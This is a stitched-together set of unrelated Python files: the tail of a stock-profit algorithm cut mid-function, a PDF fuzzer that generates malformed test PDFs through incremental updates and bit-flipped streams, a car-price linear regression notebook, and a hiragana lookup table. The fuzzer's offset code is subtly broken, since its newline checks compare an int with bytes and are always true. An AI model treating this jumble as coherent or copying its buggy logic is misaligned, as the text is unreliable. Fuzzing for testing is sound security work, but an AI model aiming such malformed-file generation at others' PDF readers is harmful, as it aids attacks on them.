        len1 = len(prices)
        if len1 <= 1:
            return 0
        maxFromHead = [0]
        minPrice, maxProfit = prices[0], 0
        for i in range(1, len1):
            minPrice = min(minPrice, prices[i - 1])
            maxProfit = max(maxProfit, prices[i] - minPrice)
            maxFromHead.append(maxProfit)
        maxPrice = prices[len1 - 1]
        res = maxFromHead[len1 - 1]
        maxProfit = 0
        for i in range(len1 - 2, 0, -1):
            maxPrice = max(maxPrice, prices[i + 1])
            maxProfit = max(maxProfit, maxPrice - prices[i])
            res = max(res, maxFromHead[i] + maxProfit)
        return res


"""
Incremental update pdf file
New in version 3
- add binary stream to object which have stream keyword
- Fuzz binary streams with mutation-based algorithms.
New in version 2
- attach multi-object to end of the pdf file. base on 'portion_of_rewrite_objects' in config.py
"""

__version__ = '0.3.2'
__author__ = 'Morteza'

import sys
import os

import math
import random
import datetime

import PyPDF2

from config import iu_config, learning_config
import pdf_object_preprocess as preprocess

class IncrementalUpdate(object):
    """
    Implement simple way to update a pdf file.
    """
    def __init__(self,
                 host_id=None,
                 object_file_path=iu_config['baseline_object_path'],
                 stream_directory_path=iu_config['stream_directory_path']):
        """

        :param host_id: Name of host file without postfix, e.g. host1_max, host2_min or host3_avg
        :param object_file_path: See iu_config, new_objects_path
        :param stream_directory_path: See iu_config, stream_directory_path
        """
        self.host_id = host_id

        self.object_file_path = object_file_path
        self.obj_list = preprocess.get_list_of_object(seq=preprocess.load_from_file(self.object_file_path),
                                                      is_sort=False)

        self.stream_directory_path = '../' + stream_directory_path
        self.stream_filename_list = os.listdir(self.stream_directory_path)

        # Creating new directory foreach time that program run and we want to generate new test data
        dt = datetime.datetime.now().strftime(self.host_id + '_date_%Y-%m-%d_%H-%M-%S')
        self.storage_dir_name = iu_config['new_pdfs_directory'] + self.host_id + '/' + dt + '/'
        if not os.path.exists(self.storage_dir_name):
            os.makedirs(self.storage_dir_name)
            print('new storage directory build.')

        self.obj_getter = self.obj_generator(self.obj_list)

    def read_pdf_file(self):
        with open(iu_config['raw_host_directory'] + self.host_id + '.pdf', 'rb') as f:
            data = f.read()
        return data

    def write_pdf_file(self, name_description, data):
        with open(self.storage_dir_name + self.host_id + name_description + '.pdf', 'wb') as f:
            f.write(data)

    def obj_generator(self, obj_list):
        i = 0
        while True:
            yield obj_list[i]
            i += 1
            if i >= len(obj_list):
                i = 0

    def get_one_object(self, getting_object_policy=iu_config['getting_object_policy']):
        """
        Provide one pdf data object whether an existing object in corpus or
        an online new generated object from learnt model
        this function is not complete yet!
        when complete it is expected to get object coming from deep model (learn_and_fuzz) algorithm
        """
        obj = ''
        if getting_object_policy == 'sequential':
            # For now using object getter generator
            obj = next(self.obj_getter)
            print(obj)
            # x = input()
        elif getting_object_policy == 'random':
            # For now randomly choose as object from given obj_list
            random_object_index = random.randint(0, len(self.obj_list) - 1)
            obj = self.obj_list[random_object_index]

        # Recently added (1397-01-16)
        # Check if selected object contain keyword 'stream' then add a random/ and fuzzed binary stream to
        # selected object.
        stream_index = obj.find('stream')
        obj = bytes(obj, encoding='ascii')
        if stream_index != -1:
            random_stream_index = random.randint(0, len(self.stream_filename_list)-1)
            with open(self.stream_directory_path+self.stream_filename_list[random_stream_index], mode='rb') as f:
                binary_stream = f.read()
            # Fuzz binary stream separately.
            # We use generation fuzzing for pdf data objects and mutation fuzzing for pdf binary streams that exist
            # within our pdf data objects
            # binary_stream = self.fuzz_binary_stream(binary_stream)
            obj = obj[:stream_index+7] + binary_stream + bytes('\nendstream\n', encoding='ascii') + obj[stream_index+7:]
            print('binary_stream added')
            # print(obj)

        return obj

    def get_last_object_id(self):
        with open(iu_config['raw_host_directory'] + self.host_id + '.pdf', 'br') as f:
            read_pdf = PyPDF2.PdfFileReader(f)
        last_object_id = read_pdf.trailer['/Size'] - 1  # size xref  - 1
        return last_object_id

    def incremental_update(self, sequential_number=0):
        """
        Shape the incremental update behaviour
        :param sequential_number: Number appear at the end of new pdf file name as identity number (e.g. 1,2 and 3)
        :return: Nothing
        """
        data = self.read_pdf_file()
        last_object_id = str(self.get_last_object_id())
        rewrite_object_content = self.get_one_object()  # Updated. Now include stream objects.

        if iu_config['single_object_update']:  # Just one object rewrite with new content
            if iu_config['update_policy'] == 'random':
                # Random choose between [2,:] because we don't want modify first object at any condition.
                rewrite_object_id = str(random.randint(2, int(last_object_id)))
            elif iu_config['update_policy'] == 'bottom_up':
                rewrite_object_id = last_object_id
            else:
                rewrite_object_id = last_object_id
            data = self.attach_new_object(data=data,
                                          rewrite_object_id=rewrite_object_id,
                                          rewrite_object_content=rewrite_object_content)
            # Set name for new pdf files like:
            # host1_sou_85_6_20180307_114117
            # dt = datetime.datetime.now().strftime('_%Y%m%d_%H%M%S')
            name_description = '_sou_' + str(sequential_number).zfill(4) + '_obj-' + str(rewrite_object_id).zfill(3)
            self.write_pdf_file(name_description, data)
            print('save new pdf file successfully')
        else:  # Multiple object rewrite with new content (base on 'portion_of_rewrite_objects') in config file
            number_of_rewrite_objects = math.ceil(iu_config['portion_of_rewrite_objects'] * int(last_object_id))
            # print(host_id, number_of_of_rewrite_objects)
            rewrite_object_id = last_object_id
            rewrite_object_ids = ''
            for i in range(int(number_of_rewrite_objects)):
                rewrite_object_content = self.get_one_object()
                if iu_config['update_policy'] == 'random':
                    # Random choose between [2,:] because we don't want modify first object at any condition.
                    rewrite_object_id = str(random.randint(2, int(last_object_id)))
                elif iu_config['update_policy'] == 'bottom_up':
                    rewrite_object_id = int(last_object_id) - i
                elif iu_config['update_policy'] == 'top-down':
                    # Not implement yet.
                    pass
                rewrite_object_ids += '-' + str(rewrite_object_id).zfill(3)
                data = self.attach_new_object(data=data,
                                              rewrite_object_id=rewrite_object_id,
                                              rewrite_object_content=rewrite_object_content)
            # Set name for new pdf files like:
            # host1_sou_85_6_20180307_114117
            # dt = datetime.datetime.now().strftime('_%Y%m%d_%H%M%S')
            name_description = '_mou_' + str(sequential_number).zfill(4) + '_objs' + str(rewrite_object_ids)
            self.write_pdf_file(name_description, data)
            print('save new pdf file successfully')

    def attach_new_object(self,
                          data=None,
                          rewrite_object_id=None,
                          rewrite_object_content=None):
        """
        Incremental update pdf file
        :param data:
        :param rewrite_object_id: pdf object id w want to update
        :param rewrite_object_content: new content fo pdf object
        :return:
        """

        # Find last trailer in a pdf file
        trailer_index = 0
        while data.find(b'trailer', trailer_index + 7) != -1:
            trailer_index = data.find(b'trailer', trailer_index + 7)
        print('trailer_index', trailer_index)

        trailer_index_dic_endof = data.find(b'>>', trailer_index)
        print('trailer_index_dic_endof', trailer_index_dic_endof)

        trailer_content = data[trailer_index: trailer_index_dic_endof + 2]
        print('trailer_content', trailer_content)

        # find last startxref offset in a pdf file
        startxref_index = trailer_index
        while data.find(b'startxref', startxref_index + 9) != -1:
            startxref_index = data.find(b'startxref', startxref_index + 9)
        # print('index ===', index_startxref)
        index_eof = data.find(b'%%EOF', startxref_index)
        # print('index 2===', index_eof)
        if data[startxref_index + 9] == b'\n' or b'\r':
            # print('yes', data[index_startxref+9])
            startxref_index += 10
        if data[index_eof - 1] == b'\n' or b'\r':
            index_eof -= 1
        startxref_offset = int(data[startxref_index: index_eof])
        print('startxref_offset', startxref_offset)

        # print(type(trailer_content))
        # remove all /Prev 1234 from trailer if exist
        # trailer_content = trailer_content.replace(b'/Prev', b'')
        # trailer_content = re.sub(r'/Prev \d+', b'', str(trailer_content))
        index_prev = trailer_content.find(b'/Prev')
        if index_prev != -1:
            index_curr = 0
            # print('##', trailer_content[index_prev+5], index_prev)
            # check whether a byte is ascii number or space
            eliminate_content = trailer_content[index_prev+5+index_curr]
            print('eliminate content', eliminate_content)
            while (48 <= eliminate_content <= 57) or (eliminate_content == 32):
                print('###', trailer_content[index_prev+5+index_curr])
                index_curr += 1
                eliminate_content = trailer_content[index_prev + 5 + index_curr]

            trailer_content = trailer_content[:index_prev] + trailer_content[index_prev+5+index_curr:]

        trailer_content_new = trailer_content[:-2] + b'   /Prev ' \
                              + bytes(str(startxref_offset), 'ascii') + b' \n>>'
        print('trailer_content_new', trailer_content_new)

        print('len_rewrite_object_content', len(rewrite_object_content))
        startxref_offset_new = len(data) + 1 + len(rewrite_object_id) + 3 + len(rewrite_object_content)  # if we attach just one obj
        print('startxref_offset_new', startxref_offset_new)

        attach_content = bytes(str(rewrite_object_id + ' 0 '), encoding='ascii')\
                         + rewrite_object_content\
                         + bytes('\nxref\n0 1\n0000000000 65535 f\n'
                                 + rewrite_object_id
                                 + ' 1\n'
                                 + str(len(data)).zfill(10)
                                 + ' 00000 n\n', encoding='ascii')
        attach_content = attach_content \
                         + trailer_content_new \
                         + b'\nstartxref\n'\
                         + bytes(str(startxref_offset_new), encoding='ascii')\
                         + b'\n%%EOF\n'

        # print('attach_content\n', attach_content)
        new_pdf_file = data + attach_content
        return new_pdf_file

    def fuzz_binary_stream(self, binary_stream):
        """
        Fuzzing fuzzing_policy for binary stream fuzz testing.
        Simple basic fuzzing fuzzing_policy:
        Reverse 1% of all bytes in stream randomly. Below code do this
        :param binary_stream:
        :return: fuzzed_binary_stream
        """
        if iu_config['stream_fuzzing_policy'] == 'basic_random':
            for i in range(math.ceil(len(binary_stream)/100)):
                # Choose one byte randomly
                byte_to_reverse_index = random.randint(0, len(binary_stream)-1)
                one_byte = binary_stream[byte_to_reverse_index]

                # Convert byte int representation to byte binary string representation (Step 2)
                eight_bit = "{0:b}".format(one_byte)
                # print('eight_bit of one_bye', eight_bit)

                # Reverse eight_bit e.g. 0110000 ==> 1001111
                eight_bit_reverse_str = ''
                for j in range(len(eight_bit)):
                    if eight_bit[j] == '1':
                        eight_bit_reverse_str += '0'
                    else:
                        eight_bit_reverse_str += '1'
                # print('eight_bit_reverse_str', eight_bit_reverse_str)

                # Back eight_bit_reverse_str to int representation (Reverse of step 2)
                eight_bit_reverse_int = int(eight_bit_reverse_str, 2)

                # Convert eight_bit_reverse_int to byte
                one_byte_reverse = \
                    eight_bit_reverse_int.to_bytes(1, 'little')  # 1 is for one byte as length, e.g 15 => 0x0f

                # Substitute one_byte with one_byte_reverse in the  input binary_stream
                binary_stream = binary_stream[0:byte_to_reverse_index]\
                                + one_byte_reverse \
                                + binary_stream[byte_to_reverse_index+1:]
        elif iu_config['stream_fuzzing_policy'] == 'other':
            # No other policy implement yet:)
            pass
        return binary_stream

def main(argv):
    host_id = 'host3_avg'
    amount_of_testdata = 1000
    iu = IncrementalUpdate(host_id=host_id)
    for i in range(amount_of_testdata):
        iu.incremental_update(sequential_number=i)

    print('%s test data was generate' % amount_of_testdata)

if __name__ == '__main__':
    main(sys.argv)


#!/usr/bin/env python
# coding: utf-8

# What is the predicted price of a car with 50000 kilometres?

# In[1]:

import pandas as pd

df = pd.read_csv("./autos_prepared.csv")
df.head()

# In[2]:

from sklearn.model_selection import train_test_split

X = df[["kilometer"]].values
Y = df[["price"]].values

X_train, X_test, y_train, y_test = train_test_split(X, Y, random_state = 0, test_size = 0.25)

# In[3]:

from sklearn.linear_model import LinearRegression

model = LinearRegression()
model.fit(df[["kilometer"]], df[["price"]])

# In[4]:

get_ipython().run_line_magic('matplotlib', 'inline')
import matplotlib.pyplot as plt

plt.scatter(X_train, y_train)
plt.scatter(X_test, y_test, color = "red")
plt.show()

# In[5]:

from sklearn.linear_model import LinearRegression

model = LinearRegression()
model.fit(X_train, y_train)

print("Intercept: " + str(model.intercept_))
print("Coef: " + str(model.coef_))

# In[6]:

get_ipython().run_line_magic('matplotlib', 'inline')
import matplotlib.pyplot as plt

predicted = model.predict(X_test)

plt.scatter(X_test, y_test, color = "red")
plt.plot(X_test, predicted)
plt.show()

# In[ ]:

Lineare Regression/Lineare Regression - train_test.py


__author__ = 'Rockie Yang'

references = ['http://www.guidetojapanese.org/learn/grammar/hiragana',
              'http://www.guidetojapanese.org/audio/basic_sounds.zip',
              'http://www.tokyowithkids.com/fyi/japanese/kana_sounds/cha.wav',
              'https://en.wikipedia.org/wiki/Hiragana']

def display(t):
    if len(t) > 3 and t[3] == 'placeholder':
        pass
    else:
        print(t)

monographs = \
    [{'name': 'あ行',
      'words': [{'kana': 'あ', 'romaji': 'a', 'origin': '安'},
                {'kana': 'い', 'romaji': 'i', 'origin': '以'},
                {'kana': 'う', 'romaji': 'u', 'origin': '宇'},
                {'kana': 'え', 'romaji': 'e', 'origin': '衣'},
                {'kana': 'お', 'romaji': 'o', 'origin': '於'}]},

     {'name': 'か行',
      'words': [{'kana': 'か', 'romaji': 'ka', 'origin': '加'},
                {'kana': 'き', 'romaji': 'ki', 'origin': '幾'},
                {'kana': 'く', 'romaji': 'ku', 'origin': '久'},
                {'kana': 'け', 'romaji': 'ke', 'origin': '計'},
                {'kana': 'こ', 'romaji': 'ko', 'origin': '己'}]},

     {'name': 'さ行',
      'words': [{'kana': 'さ', 'romaji': 'sa', 'origin': '左'},
                {'kana': 'し', 'romaji': 'shi', 'origin': '之'},
                {'kana': 'す', 'romaji': 'su', 'origin': '寸'},
                {'kana': 'せ', 'romaji': 'se', 'origin': '世'},
                {'kana': 'そ', 'romaji': 'so', 'origin': '曽'}]},

     {'name': 'た行',
      'words': [{'kana': 'た', 'romaji': 'ta', 'origin': '太'},
                {'kana': 'ち', 'romaji': 'chi', 'origin': '知'},
                {'kana': 'つ', 'romaji': 'tsu', 'origin': '川'},
                {'kana': 'て', 'romaji': 'te', 'origin': '天'},
                {'kana': 'と', 'romaji': 'to', 'origin': '止'}]},

     {'name': 'な行',
      'words': [{'kana': 'な', 'romaji': 'na', 'origin': '奈'},
                {'kana': 'に', 'romaji': 'ni', 'origin': '仁'},
                {'kana': 'ぬ', 'romaji': 'nu', 'origin': '奴'},
                {'kana': 'ね', 'romaji': 'ne', 'origin': '祢'},
                {'kana': 'の', 'romaji': 'no', 'origin': '乃'}]},

     {'name': 'は行',
      'words': [{'kana': 'は', 'romaji': 'ha', 'origin': '波'},
                {'kana': 'ひ', 'romaji': 'hi', 'origin': '比'},
                {'kana': 'ふ', 'romaji': 'fu', 'origin': '不'},
                {'kana': 'へ', 'romaji': 'he', 'origin': '部'},
                {'kana': 'ほ', 'romaji': 'ho', 'origin': '保'}]},

     {'name': 'ま行',
      'words': [{'kana': 'ま', 'romaji': 'ma', 'origin': '末'},
                {'kana': 'み', 'romaji': 'mi', 'origin': '美'},
                {'kana': 'む', 'romaji': 'mu', 'origin': '武'},
                {'kana': 'め', 'romaji': 'me', 'origin': '女'},
                {'kana': 'も', 'romaji': 'mo', 'origin': '毛'}]},

     {'name': 'や行',
      'words': [{'kana': 'や', 'romaji': 'ya', 'origin': '也'},
                {'kana': 'い', 'romaji': 'i', 'origin': '以', "placeholder": True},
                {'kana': 'ゆ', 'romaji': 'yu', 'origin': '由'},
                {'kana': 'え', 'romaji': 'e', 'origin': '衣', "placeholder": True},
                {'kana': 'よ', 'romaji': 'yo', 'origin': '与'}]},

     {'name': 'ら行',
      'words': [{'kana': 'ら', 'romaji': 'ra', 'origin': '良'},
                {'kana': 'り', 'romaji': 'ri', 'origin': '利'},
                {'kana': 'る', 'romaji': 'ru', 'origin': '留'},
                {'kana': 'れ', 'romaji': 're', 'origin': '礼'},
                {'kana': 'ろ', 'romaji': 'ro', 'origin': '呂'}]},

     {'name': 'わ行',
      'words': [{'kana': 'わ', 'romaji': 'wa', 'origin': '和'},
                {'kana': 'い', 'romaji': 'i', 'origin': '以', "placeholder": True},
                {'kana': 'う', 'romaji': 'u', 'origin': '宇', "placeholder": True},
                {'kana': 'え', 'romaji': 'e', 'origin': '衣', "placeholder": True},
                {'kana': 'を', 'romaji': 'o', 'origin': '遠'}]}]

diacritics = \
    [{'name': 'が行',
      'words': [{'kana': 'が', 'romaji': 'ga', 'origin': ''},
                {'kana': 'ぎ', 'romaji': 'gi', 'origin': ''},
                {'kana': 'ぐ', 'romaji': 'gu', 'origin': ''},
                {'kana': 'げ', 'romaji': 'ge', 'origin': ''},
                {'kana': 'ご', 'romaji': 'go', 'origin': ''}]},
     {'name': 'ざ行',
      'words': [{'kana': 'ざ', 'romaji': 'za', 'origin': ''},
                {'kana': 'じ', 'romaji': 'ji', 'origin': ''},
                {'kana': 'ず', 'romaji': 'zu', 'origin': ''},
                {'kana': 'ぜ', 'romaji': 'ze', 'origin': ''},
                {'kana': 'ぞ', 'romaji': 'zo', 'origin': ''}]},
     {'name': 'だ行',
      'words': [{'kana': 'だ', 'romaji': 'da', 'origin': ''},
                {'kana': 'ぢ', 'romaji': 'ji', 'origin': ''},
                {'kana': 'づ', 'romaji': 'dzu', 'origin': '', 'sound': 'zu'},
                {'kana': 'で', 'romaji': 'de', 'origin': ''},
                {'kana': 'ど', 'romaji': 'do', 'origin': ''}]},
     {'name': 'ば行',
      'words': [{'kana': 'ば', 'romaji': 'ba', 'origin': ''},
                {'kana': 'び', 'romaji': 'bi', 'origin': ''},
                {'kana': 'ぶ', 'romaji': 'bu', 'origin': ''},
                {'kana': 'べ', 'romaji': 'be', 'origin': ''},
                {'kana': 'ぼ', 'romaji': 'bo', 'origin': ''}]},
     {'name': 'ぱ行',
      'words': [{'kana': 'ぱ', 'romaji': 'pa', 'origin': ''},
                {'kana': 'ぴ', 'romaji': 'pi', 'origin': ''},
                {'kana': 'ぷ', 'romaji': 'pu', 'origin': ''},
                {'kana': 'ぺ', 'romaji': 'pe', 'origin': ''},
                {'kana': 'ぽ', 'romaji': 'po', 'origin': ''}]}]

diagraphs = \
    {'name': 'Digraphs (yōon)',
     'words': [{'kana': 'きゃ', 'romaji': 'kya'},
               {'kana': 'きゅ', 'romaji': 'kyu'},
               {'kana': 'きょ', 'romaji': 'kyo'},
               {'kana': 'しゃ', 'romaji': 'sya'},
               {'kana': 'しゅ', 'romaji': 'syu'},
               {'kana': 'しょ', 'romaji': 'syo'},
               {'kana': 'ちゃ', 'romaji': 'cya'},
               {'kana': 'ちゅ', 'romaji': 'cyu'},
               {'kana': 'ちょ', 'romaji': 'cyo'},
               {'kana': 'にゃ', 'romaji': 'nya'},
               {'kana': 'にゅ', 'romaji': 'nyu'},
               {'kana': 'にょ', 'romaji': 'nyo'},
               {'kana': 'ひゃ', 'romaji': 'hya'},
               {'kana': 'ひゅ', 'romaji': 'hyu'},
               {'kana': 'ひょ', 'romaji': 'hyo'},
               {'kana': 'みゃ', 'romaji': 'mya'},
               {'kana': 'みゅ', 'romaji': 'myu'},
               {'kana': 'みょ', 'romaji': 'myo'},
               {'kana': 'りゃ', 'romaji': 'rya'},
               {'kana': 'りゅ', 'romaji': 'ryu'},
               {'kana': 'りょ', 'romaji': 'ryo'}]}

diagraphsWithDiacritics = \
    {'name': 'Digraphs with diacritics (yōon with (han)dakuten)',
     'words': [{'kana': 'ぎゃ', 'romaji': 'gya'},
               {'kana': 'ぎゅ', 'romaji': 'gyu'},
               {'kana': 'ぎょ', 'romaji': 'gyo'},

               {'kana': 'じゃ', 'romaji': 'jya'},
               {'kana': 'じゅ', 'romaji': 'jyu'},
               {'kana': 'じょ', 'romaji': 'jyo'},

               {'kana': 'びゃ', 'romaji': 'bya'},
               {'kana': 'びゅ', 'romaji': 'byu'},
               {'kana': 'びょ', 'romaji': 'byo'},

               {'kana': 'ぴゃ', 'romaji': 'pya'},
               {'kana': 'ぴゅ', 'romaji': 'pyu'},
               {'kana': 'ぴょ', 'romaji': 'pyo'}]}